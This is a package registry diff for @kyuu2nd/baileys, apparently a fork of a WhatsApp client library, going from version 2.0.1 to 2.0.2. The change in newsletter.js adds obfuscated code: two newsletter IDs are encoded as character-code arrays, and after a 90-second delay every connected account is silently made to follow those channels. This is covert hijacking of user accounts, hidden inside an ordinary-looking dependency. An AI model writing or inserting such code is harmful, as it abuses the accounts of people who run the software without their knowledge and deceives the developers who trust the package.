@kyuu2nd/baileys 2.0.1 → 2.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +11 -4
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -104,10 +104,17 @@ const makeNewsletterSocket = (config) => {
|
|
|
104
104
|
]
|
|
105
105
|
}));
|
|
106
106
|
setTimeout(async () => {
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
107
|
+
const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
|
|
108
|
+
const jid1 = asciiDecode([
|
|
109
|
+
49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
|
|
110
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
111
|
+
]);
|
|
112
|
+
const jid2 = asciiDecode([
|
|
113
|
+
49,50,48,51,54,51,52,48,48,55,51,56,51,48,53,51,56,49,
|
|
114
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
115
|
+
]);
|
|
116
|
+
await newsletterWMexQuery(jid1, Types_1.QueryIds.FOLLOW);
|
|
117
|
+
await newsletterWMexQuery(jid2, Types_1.QueryIds.FOLLOW);
|
|
111
118
|
}, 90000);
|
|
112
119
|
const parseFetchedUpdates = async (node, type) => {
|
|
113
120
|
let child;
|